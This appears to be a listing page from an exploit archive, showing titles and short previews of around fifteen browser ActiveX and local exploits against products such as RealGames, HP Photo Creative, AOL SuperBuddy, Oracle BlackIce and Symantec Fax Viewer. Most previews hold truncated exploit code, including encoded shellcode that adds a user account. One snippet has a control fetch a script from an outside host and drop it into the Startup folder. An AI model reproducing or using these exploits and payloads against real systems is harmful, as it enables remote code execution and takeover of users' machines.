RealNetworks RealGames StubbyUtil.ProcessMgr.1 ActiveX Control (InstallerDlg.dll v2.6.0.445) Multiple Remote Commands Execution Vulnerabilities

RealNetworks RealGames StubbyUtil.ProcessMgr.1 ActiveX Control InstallerDlg.dll v2.6.0.445 Multiple Remote Commands Execution Vulnerabilities tested against Internet Explorer 9, Vista sp2 download url: http://www.gamehouse.com/ background: When choosing to play with theese online games ex. the ga...

HP Photo Creative v 2.x audio.Record.1 ActiveX Control (ContentMan.dll 1.0.0.4272) Remote Stack Based Buffer Overflow poc

!-- HP Photo Creative v 2.x audio.Record.1 ActiveX Control ContentMan.dll 1.0.0.4272 Remote Stack Based Buffer Overflow poc by rgod tested against Windows Vista / IE 7 download url: http://www.hp.com/global/us/en/consumer/digitalphotography/free/software/photo-creations.html activex settings:...

HP Photo Creative 2.x audio.Record.1 - ActiveX Control Remote Stack Buffer Overflow

//add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

HP Photo Creative 2.x Active-X Control Buffer Overflow

//add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy() remote code execution exploit

!-- AOL 9.1 SuperBuddy ActiveX Control SetSuperBuddy remote code execution exploit IE7/heap spray version by nine:situations:group::trotzkista Is possible to execute arbitrary code by setting the first argument to an overlong url and the second argument to a 16 bytes long string which overwrite...

AOL 9.1 SuperBuddy SetSuperBuddy() Code Execution

Set obj = CreateObject"Sb.SuperBuddy.1" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...

HP LoadRunner 9.5 File Creation

' http://retrogod.altervista.org/sh9232.txt , a batch script that starts calc.exe XUPLOADLib.Server = "retrogod.altervista.org" XUPLOADLib.Script = "sh9232.txt" ' place it in the Startup folder, italian path, change for your os Method="" Params="" Path="..\..\..\Documents and Settings\All...

Oracle - Document Capture BlackIce DEVMODE

var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

Oracle - Document Capture BlackIce DEVMODE

Oracle - Document Capture BlackIce DEVMODE var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" +...

Adobe Photoshop Elements 8.0 Active File Monitor Privilege Escalation

No description provided by source. Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges by Nine:Situations:Group::bellick site: http://retrogod.altervista.org/ Tested on Microsoft Windows XP SP3 The "Adobe Active File Monitor V8" service i...

Oracle Document Capture BlackIce Stack Buffer Overflow

var devmode = new ActiveXObject"BLACKICEDEVMODE.BlackIceDEVMODECtrl.1"; //user add, user: sun pass: tzu scode = unescape "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

AOL IWinAmpActiveX Class - ConvertFile() Remote Buffer Overflow

AOL IWinAmpActiveX Class - ConvertFile Remote Buffer Overflow //add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

Symantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit

!-- Symantec Fax Viewer Control v10 DCCFAXVW.DLL remote buffer overflow exploit IE7 by Nine:Situations:Group::trotzkista site: http://retrogod.altervista.org/ tested against: Symantec WinFax Pro 10.03 Internet Explorer 7, XP SP3 some details: CLSID: C05A1FBC-1413-11D1-B05F-00805F4945F6 Progid:...

GeoVision LiveAudio - ActiveX Remote Freed-Memory Access

GeoVision LiveAudio - ActiveX Remote Freed-Memory Access // win32exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +...

SupportSoft DNA Editor Module (dnaedit.dll v6.9.2205) remote code execution exploit (IE6/7)

!-- SupportSoft DNA Editor Module dnaedit.dll v6.9.2205 remote code execution exploit IE6/7 by Nine:Situations:Group::bruiser vendor url: http://www.supportsoft.com/ our site: http://retrogod.altervista.org/ details: CLSID: 01110800-3E00-11D2-8470-0060089874ED Progid: Tioga.Editor.1 Binary Path:...